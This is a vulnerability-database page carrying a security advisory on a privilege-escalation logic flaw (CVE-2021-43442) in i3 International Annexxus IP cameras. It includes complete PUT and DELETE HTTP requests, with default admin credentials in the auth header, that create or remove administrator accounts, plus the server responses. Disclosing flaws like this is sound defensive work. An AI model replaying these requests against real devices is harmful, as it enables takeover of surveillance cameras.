Vulners
Lucene search
i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2021-43442 | 11 Apr 202222:16 | – | circl |
 | i3 International Annexxus Cameras 安全漏洞 | 11 Apr 202200:00 | – | cnnvd |
 | CVE-2021-43442 | 11 Apr 202218:34 | – | cve |
 | CVE-2021-43442 | 11 Apr 202218:34 | – | cvelist |
 | EUVD-2021-30375 | 3 Oct 202520:07 | – | euvd |
 | CVE-2021-43442 | 11 Apr 202219:15 | – | nvd |
 | CVE-2021-43442 | 11 Apr 202219:15 | – | osv |
 | Design/Logic Flaw | 11 Apr 202219:15 | – | prion |
<html><body><p>i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw
Vendor: i3 International Inc.
Product web page: https://www.i3international.com
Affected version: V5.2.0 build 150317 (Ax46)
V5.0.9 build 151106 (Ax68)
V5.0.9 build 150615 (Ax78)
Summary: The Annexxus camera 6MP provides 4 simultaneous,
independently controlled digital pan-tilt-zoom (ePTZ) video
streams, which may be recorded or viewed live as well as a
built-in microphone and speaker allowing two way communication.
Desc: The application doesn't allow creation of more than one
administrator account on the system. This also applies for
deletion of the administrative account. The logic behind this
restriction can be bypassed by parameter manipulation using
dangerous verbs like PUT and DELETE and improper server-side
validation. Once a normal account with 'viewer' or 'operator'
permissions has been added by the default admin user 'i3admin',
a PUT request can be issued calling the 'UserPermission' endpoint
with the ID of created account and set it to 'admin' userType,
successfully adding a second administrative account.
Tested on: App-webs/
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5688
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php
27.10.2021
--
Make user ID 3 an Administrator:
--------------------------------
PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1
Host: 192.168.1.1
Content-Length: 556
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close
<?xml version='1.0' encoding='utf-8'?><userpermission><id>3</id><userid>3</userid><usertype>admin</usertype><remotepermission><playback>true</playback><preview>true</preview><record>true</record><ptzcontrol>true</ptzcontrol><upgrade>true</upgrade><parameterconfig>true</parameterconfig><restartorshutdown>true</restartorshutdown><logorstatecheck>true</logorstatecheck><voicetalk>true</voicetalk><transparentchannel>true</transparentchannel><contorllocalout>true</contorllocalout><alarmoutorupload>true</alarmoutorupload></remotepermission></userpermission>
HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:13:56 GMT
Server: App-webs/
Connection: close
Content-Length: 238
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<responsestatus version="1.0" xmlns="urn:psialliance-org">
<requesturl>/PSIA/Custom/SelfExt/UserPermission/3</requesturl>
<statuscode>1</statuscode>
<statusstring>OK</statusstring>
</responsestatus>
Delete Administrator user ID 3:
-------------------------------
DELETE /PSIA/Security/AAA/users/3 HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close
HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:20:17 GMT
Server: App-webs/
Connection: close
Content-Length: 213
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<responsestatus version="1.0" xmlns="urn:psialliance-org">
<requesturl>/PSIA/Security/AAA/users/3</requesturl>
<statuscode>1</statuscode>
<statusstring>OK</statusstring>
</responsestatus>
</p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Nov 2021 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 26.8
CVSS 3.18.1
EPSS0.00433